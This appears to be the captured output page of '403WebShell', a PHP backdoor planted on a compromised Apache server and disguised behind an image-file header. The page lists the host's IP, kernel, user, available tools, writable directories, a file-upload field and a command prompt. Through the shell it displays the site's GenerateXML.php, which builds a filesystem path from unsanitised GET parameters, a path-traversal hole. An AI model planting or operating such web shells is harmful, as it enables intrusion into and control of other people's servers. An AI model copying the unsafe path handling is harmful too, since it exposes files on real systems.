????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.90.172
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/productionzon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/productionzon/GenerateXML.php
<?php
/*
JavaPowUpload builtin log area supports only limited count of HTML tags. You can find list here
http://java.sun.com/j2se/1.4.2/docs/api/javax/swing/text/html/HTML.Tag.html
*/

ini_set("error_reporting", E_ALL);
//PHP script that generate xml file for JavaPowUpload with specified folder structure.
//2008. Element-IT software.
$ProjectId = $_GET['projectId'];
$CustomerId = $_GET['customerId'];
$source_dir ="/var/www/icad_files/$CustomerId/$ProjectId/";
$url_prefix="http://icad.astacus.se/productionzon/download.php?projectId=$ProjectId&amp;customerId=$CustomerId&amp;file=";
//file names encoding on server side. All file and folder names should encoded into utf-8
$source_encoding = "ISO-8859-1";
//If $direct_output set to true, then generated xml will be printed in response
//and you can specify this script as source for Download.DataURL parameter
//Like this:   <param name="Download.DataURL" value="generatexml.php">
//else  generated xml will be saved to $output_file
$direct_output = true;
$output_file = "";
$fs; // file stream
if($direct_output)
	header('Content-Type: text/xml');
else
	//Create the file.
	$fs = fopen($output_file,'w+');		
	
	
write_xml("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
write_xml("<download>");

add_dir($source_dir, "");

write_xml("</download>");

if($direct_output)
	flush();
else
	if($fs != null)
		fclose($fs);

	
function add_dir($parent, $folder_name)
{
	GLOBAL $source_dir, $source_encoding, $url_prefix;
	$have_files = false;
	if($handle = opendir($parent))
	{		
			
			
		
	    while (false !== ($file = readdir($handle)))			
	        if ($file != "." && $file != "..")	    	
	        	if(is_dir($parent.$file))							
	            	add_dir($parent.$file."/", $file);	        
				
		
	    rewinddir($handle);
		while (false !== ($file = readdir($handle)))
	    {
	        if ($file != "." && $file != "..")
	    	{
	        	if(is_file($parent.$file))
	        	{	  
					if(!$have_files && $parent != $source_dir)			
						write_xml("<folder name=\"".iconv($source_encoding,"UTF-8",$folder_name)."\">"); 
					$have_files = true;
					//REPLACE  $download_url with needed value!
					$relative_parent = str_replace("\\", "/", substr($parent, strlen($source_dir), strlen($parent)-strlen($source_dir)));
					$download_url = iconv($source_encoding,"UTF-8",$url_prefix.$relative_parent.rawurlencode($file));
					write_xml("<file name=\"".iconv($source_encoding,"UTF-8",$file)."\" length=\"".filesize($parent.$file)."\">"); 
										
					write_xml("<url>".$download_url."</url>");
					write_xml("</file>");
	         	}
	        }
	    }
	    if($have_files && $parent != $source_dir)
		   write_xml("</folder>");
	    closedir($handle);
	}	
}
	
	
function write_xml($xml)
{
	GLOBAL $fs, $direct_output;
	if($direct_output)
		echo $xml;
	else
		if($fs != null)
			fwrite($fs, $xml);
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit